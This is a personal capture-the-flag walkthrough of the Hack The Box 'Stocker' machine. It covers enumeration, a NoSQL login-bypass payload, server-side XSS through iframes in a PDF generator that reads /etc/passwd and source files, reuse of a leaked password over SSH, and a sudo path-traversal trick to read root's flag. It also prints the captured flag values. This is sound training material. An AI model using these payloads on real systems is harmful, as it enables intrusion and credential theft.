> For the complete documentation index, see [llms.txt](https://sgtdiddlywink.gitbook.io/htb/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sgtdiddlywink.gitbook.io/htb/machines/easy-machines/stocker.md).

# Stocker

1. <mark style="color:orange;">**Get a new OpenVPN Connection and try again for port 80 through a web browser.**</mark>
2. Checked web browser with IP.
   1. Nothing there
3. I ran a whatweb on the IP:
   1\.

   ```
   <figure><img src="/files/JCvsMVFb55CdxbyQQdml" alt=""><figcaption></figcaption></figure>
   ```
4. I ran a quick nmap scan with no flags:
   1\.

   ```
   <figure><img src="/files/uh4EqbB9SKoZULftih2f" alt=""><figcaption></figcaption></figure>
   ```
5. Since port 22 and 80 were open I ran a version scan on them:
   1\.

   ```
   <figure><img src="/files/zvnVOAEhyo9krF2UKaUd" alt=""><figcaption></figcaption></figure>
   ```
6. Since port 80 is open it appears that something is open there so I'm going back to the web browser. When I do, I notice it redirects to <http://stocker.htb/>
   1. ~~The page does not load.~~
   2. Turned on the proxy to check with burpsuite
   3. ~~Nothing is coming through, no code.~~
   4. ~~<mark style="color:orange;">TODO: Need to retry web server at another time to see if I can come up with something.</mark>~~
7. Decided to run gobuster to see if that comes up with anything.
   1. I'm assuming the web server is not up and running:
      1\.

      ```
      <figure><img src="/files/IbqaOeSTAFzhYsJxVTbl" alt=""><figcaption></figcaption></figure>
      ```
8. Checked exploit-db for both nginx and openssh for any vulnerabilities pertaining to those versions.&#x20;
   1. Nothing popped up
9. Checked msfconsole for exploits but nothing there either.
10. Will try further nmap scans to see if I can find anymore information:
    1\.

    ```
    <figure><img src="/files/U8NLIKeXnKgOoLbDdWD4" alt=""><figcaption></figcaption></figure>
    ```

    2\. I discovered some ssh-hostkeys

    1. RSA - 3072 3d12971d86bc161683608f4f06e6d54e
    2. ECDSA - 256 7c4d1a7868ce1200df491037f9ad174f
    3. ED25519 - 256 dd978050a5bacd7d55e827ed28fdaa3b
    4. <mark style="color:orange;">TODO: May need to dig further into this.</mark>
11. I tried a couple of typical usernames and passwords to access ssh.&#x20;
    1. No luck
12. I instead decided to give a brute force attempt at ssh.
    1. I used the brute-ssh script from nmap to see if I could come up with something.
       1. I gave up on this after 5 min. <mark style="color:orange;">TODO: Should try again but the attack may take a long time.</mark>
13. I moved to a hydra check.
    1. Gave up on this. But can come back to it later.
14. I want to run a bigger nmap scan on the target to see if any other ports are open.

    1.

    ```
    <figure><img src="/files/uYism85XfYaj1mwecU5k" alt=""><figcaption></figcaption></figure>
    ```

    1.

    ```
    <figure><img src="/files/HCa7KfQ6TtovHLNAJpDF" alt=""><figcaption></figcaption></figure>
    ```
15. <mark style="color:green;">**URGENT:**</mark>
    1. <mark style="color:green;">After completing the Tier 1 Machine Responder (Check the walk-through for more information). I think the IP and domain name needs to be added to /etc/hosts file so that the url can resolve. Use the command below:</mark>

```
echo "[IP] stocker.htb" | sudo tee -a /etc/hosts
```

17. <mark style="color:green;">The above worked. I was able to add "stocker.htb to the hosts list and now I can see the website. Thank god.</mark>
18. I have access to the website. None of the link go anywhere and only go to specific parts of the first page.
    1. I ran gobuster again on it and came up with the following.  All of them return with a 403 error code. Forbidden

<figure><img src="/files/gehPsiMWOgk8LazgLHgz" alt=""><figcaption></figcaption></figure>

19. Decided to open burp suite and see if I can access the other pages with it.&#x20;
    1. I didn't discover anything in the header request or responses
20. &#x20;In the source code, I found a link to onepagelove.com/stride which is the website that the template came from. I went ahead and downloaded the free template to take a look at the file format.
    1. Didn't find anything obvious.
21. I searched msfconsole for anything obvious relating to the template.
    1. Found nothing
22. &#x20;I ran nmap again since I can see the http page. I found some new stuff:
    1\.

    ```
    <figure><img src="/files/TBtC0Xf5MT0GvJwV8oi4" alt=""><figcaption></figcaption></figure>
    ```

    2\. It looks like we have an http-generator of Eleventy v2.0.0

    1. I have no idea what that is. I looked it up but got more confused.
    2. Nothing obvious pops up for it when I search for exploits or vulnerabilities.
23. I decided to run a OS  nmap scan see below:
    1. Nothing new or interesting pops up.
24. I went back through and checked for any exploits on nginx. I didn't find anything for that version.
25. &#x20;I went up on the discussion board finally for the machine and saw someone had mentioned using the vhost option for gobuster so I decided to give that a try.
    1\.

    ```
    <figure><img src="/files/dmWhNQszQzNzIUvBVf6c" alt=""><figcaption></figcaption></figure>
    ```

    2\.  So now I have a subdomain to check out.
    3\. At first it didn't work. So I added it to the etc/hosts lists similar to adding stocker.htb. This time I changed it to dev.stocker.htb.
    4\. This worked and now I'm at a login page for the website.

![](/files/RLZiSRK4ZOUbsSGmvBD2)

19. I started with reading through the page source and the only thing I found was some JS for checking the username and password.
20. <mark style="color:red;">After some research I found the login page uses NoSQL. I need to look into attempting a NoSQL Injection.</mark>
    1. I should try the following login information. See SQL Injection notes for more information on this. {"email":' or 1=1--","password":"a"}
       1. Didn't work
    2. I'm going to browse payloadallthethings for a nosql injection option. Browse the authentification bypass to see if something will work.
       1. <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#authentication-bypass>
    3. OK. I don't think I would have figured this out on my own but figured I should write it down for future reference.&#x20;
       1. I should have started with SQL Injection Testing to see if that worked.
       2. Next I should test for NoSQL Injection.
       3. When that doesn't work I should check for JSON capability. I need to look into how to do this in the future.

          1. To do this though, when I capture the login attempt from burpsuite, I can change the "Content-Type" Header to "application/json".&#x20;
          2.

          ```
          <figure><img src="/files/WVyV8UBdLuEfZhGo1aZ4" alt=""><figcaption></figcaption></figure>
          ```
       4. Multiple ways to check for SQL and NoSQL Injection but should start with authentification bypass tricks from payloadallthethings first.
       5. Once I have changed the content-type header to application/json, I next grab the following payload from payloadlallthethings from the link above:

```
{"username": {"$ne": null}, "password": {"$ne": null}}
```

<figure><img src="/files/fhP6rOoRup91i8XMevrG" alt=""><figcaption></figcaption></figure>

* Forward the request and bam. you're signed in.
* I now have access to a webpage where I can add items to a cart and purchase them.

<figure><img src="/files/eZWyLCifDOf7Lyce86Cn" alt=""><figcaption></figcaption></figure>

* If I click on an item and add it to the basket it does.

<figure><img src="/files/hsf0aLbjMEZVgM7Brt9A" alt=""><figcaption></figcaption></figure>

* I can then hit the "Submit Purchase" button to buy it.

<figure><img src="/files/MyLkMWE3E73jdv30v5dJ" alt=""><figcaption></figcaption></figure>

* This also gives me a pdf document reciept.

<figure><img src="/files/7wIS9uGSBRXKZQ7BKQu8" alt=""><figcaption></figcaption></figure>

* This gives me a couple of things:
* Their may be a user called `Angoose`
* I have an email address of `support@stock.htb`
* This also gives me the URL path of `http://dev.stocker.htb/api/po/[ORDER ID]`
* I ran `exiftool` on the pdf to see if I could get any other info.

```
exiftool [Path to PDF file]
```

<figure><img src="/files/TtYQDp8qXrauXlkFQghK" alt=""><figcaption></figcaption></figure>

* It looks like Chromium uses the Skia/PDF m108 to create the pdfs. I did a quick google search but didn't find anything to note here as far as exploits.
* The page source didn't have anything but I submitted another order and captured the submit with Burpsuite to see what happens.

<figure><img src="/files/iBo2sUz1MTnAKuJgWNiP" alt=""><figcaption></figcaption></figure>

* I had to look a hint on how to add some language in here to exploit the search. The source page shows that it gathers information from the server on the front end.

![](/files/wBUspbMLQpycuahppJIN)

* We can use [HackTricks](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf) to put together some server side XSS:&#x20;

```
<iframe src=/home></iframe>
```

* I will use an iframe to display the source information. From this I can add a quick look up to the /etc/passwd file for users and passwords.

<figure><img src="/files/RSBTEcw4kxXbo7G4hfUn" alt=""><figcaption></figcaption></figure>

* I will now take the orderId given and check out the browser page the was given for the PDF reciepts.&#x20;

```
http://dev.stocker.htb/api/po/[ORDER ID]
```

<figure><img src="/files/uOiFy8E5hxVMkdYxKM9a" alt=""><figcaption></figcaption></figure>

* Looks like we have access into the system so let's see what else we can dig up.
* Let's adjust the size of the iframe to see more.

```
<iframe src=/etc/passwd height=650px width=600px></iframe>
```

<figure><img src="/files/TBm0QvRaIWQ2w9PUipgF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4qZZdzji5gzQVPfLzhy7" alt=""><figcaption></figcaption></figure>

* I now have a few usernames:
  * mongodb
  * angoose
  * \_laurel
* I started exploring the system painstakingly but when blindly reaching around, I wasn't getting anywhere quickly. I looked up a hint and they told me to go look in the `index.js` file.
* I used the following payload below to go to the file from the usual input method above.

```
<iframe src=/var/www/dev/index.js height=1000px width=1000px></iframe>
```

<figure><img src="/files/86HFcxhevwx4IQetCCJz" alt=""><figcaption></figcaption></figure>

* In the `index.js` file there are some credentials. I first tried them on SSH with mongodb but that didn't work so I tried it with the rest of them.

```
ssh angoose@[Target IP]
IHeardPassphrasesArePrettySecure
```

* And that worked.

<figure><img src="/files/oiRuLzPKiLN9jJy1LKOR" alt=""><figcaption></figcaption></figure>

* The user flag can be found with the following below:

```
cat /home/angoose/user.txt
```

```
USER FLAG: 973aa973087ab3ff12d0b9969a701872
```

* Next is the root flag. It was kind of interesting because when I ran the `ls` command on angoose directory I found that linpeas was already on there. Before I run it though, let's see what privleges I could possibly abuse to get root privileges.

![](/files/zZFSnSC8RLsky9ClHtK0)

```
sudo -l
IHeardPassphrasesArePrettySecure
```

<figure><img src="/files/CtFMuENsFMJ0xoT4mGKE" alt=""><figcaption></figcaption></figure>

* It looks like I can run any javascript file in the `/usr/local/scripts/` directory. Let's go check that out.

<figure><img src="/files/Yo9I16SCsOONExItMI1O" alt=""><figcaption></figcaption></figure>

* It looks like I only have read access to the `.package-lock.json` file which looks like it just lists dependencies.
* When I try to run the files though, it does not let me run them as sudo.

```
sudo node creds.js
```

<figure><img src="/files/XZMNp5UvKWaeVZFpwX4R" alt=""><figcaption></figcaption></figure>

* The key here is that you have to specify the path to node:

```
sudo /usr/bin/node /usr/local/scripts
```

* Without specifying the path it won't work. Here is where it get's really weird. Back on the `angoose` directory, we find a `cleanup.js` file. If we `cat` the file, we find it is a javascript file that reads the `root.txt` file in the root directory.

<figure><img src="/files/xfwTIW5wAuWAQFXY0lom" alt=""><figcaption></figcaption></figure>

```
const fs = require('fs');
fs.readFile('/root/root.txt', 'utf8', (err, data) => {
 if (err) throw err;
 console.log(data);
});
```

* So, how do we run this file if it is not in the `/usr/local/scripts` directory? And we can't create a new file in that directory due to permission issues.
* This is where it get's interesting and I would not have figured it out on my own but is a good trick to keep in mind.&#x20;

```
sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/cleanup.js
```

<figure><img src="/files/7wL6eCKFhFXVZd4dBN1h" alt=""><figcaption></figcaption></figure>

```
root.txt: ea3b7425be2a6fb9134731e9bf8c3042
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://sgtdiddlywink.gitbook.io/htb/machines/easy-machines/stocker.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
